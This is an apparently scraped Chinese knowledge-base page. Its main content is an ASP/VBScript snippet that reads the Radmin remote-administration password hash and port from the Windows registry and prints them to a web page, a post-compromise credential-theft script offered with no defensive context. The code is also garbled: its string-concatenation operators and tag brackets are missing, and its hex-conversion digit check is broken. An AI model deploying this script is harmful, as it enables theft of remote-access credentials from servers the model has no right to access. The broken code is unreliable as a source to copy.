主頁(yè) > 知識(shí)庫(kù) > vbs 獲取radmin注冊(cè)表中的信息

vbs 獲取radmin注冊(cè)表中的信息

熱門(mén)標(biāo)簽:墨西哥地圖標(biāo)注app 企業(yè)400電話辦理價(jià)錢(qián)低 外呼系統(tǒng)群 龍巖400電話申請(qǐng) 上海辦理400電話選號(hào) 外呼系統(tǒng)說(shuō)話聲音小怎么辦 智云億呼電話機(jī)器人 機(jī)器人打電銷(xiāo)適用于美業(yè)嗎 天津智能外呼系統(tǒng)排名

%
'========================================Main======================================
Set WSH= Server.CreateObject("Wscript.shell")
RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\"
Parameter="Parameter"
Port = "Port"
ParameterArray=WSH.Regread(RadminPath  Parameter )
Response.write "The Result of Radmin Hash"
Response.write "br>br>"
Response.write Parameter":"
'=========== ReadPassWord =========
If IsArray(ParameterArray) Then
For i = 0 To UBound(ParameterArray)
If   Len (hex(ParameterArray(i)))=1 Then 
strObj = strObj  "0"  CStr(Hex(ParameterArray(i)))
Else
strObj = strObj  Hex(ParameterArray(i))
End If 
Next
response.write Lcase(strobj)
Else
response.write "Error! Can't Read!"
End If
Response.write "br>br>"
'=========== ReadPort =========
PortArray=WSH.REGREAD(RadminPath  Port )
If IsArray(PortArray) Then 
Response.write Port ":" 
Response.write hextointer(CStr(Hex(PortArray(1)))CStr(Hex(PortArray(0))))
Else 
Response.write "Error! Can't Read!"
End If
'=============hex TO int==========
Function hextointer(strin) 
Dim i, j, k, result 
result = 0 
For i = 1 To Len(strin) 
If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then 
j = 15 
End If 
If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then 
j = 14 
End If 
If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then 
j = 13 
End If 
If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then 
j = 12 
End If 
If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then 
j = 11 
End If 
If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then 
j = 10 
End If 
If Mid(strin, i, 1) = "9" And Mid(strin, i, 1) >= "0" Then 
j = CInt(Mid(strin, i, 1)) 
End If 
For k = 1 To Len(strin) - i 
j = j * 16 
Next 
result = result + j 
Next 
hextointer = result 
End Function
'================ End ==========
%>

標(biāo)簽:阜新 承德 麗水 青島 齊齊哈爾 鄂爾多斯 黃山 錫林郭勒盟

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《vbs 獲取radmin注冊(cè)表中的信息》,本文關(guān)鍵詞  vbs,獲取,radmin,注冊(cè)表,中的,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《vbs 獲取radmin注冊(cè)表中的信息》相關(guān)的同類(lèi)信息!
  • 本頁(yè)收集關(guān)于vbs 獲取radmin注冊(cè)表中的信息的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章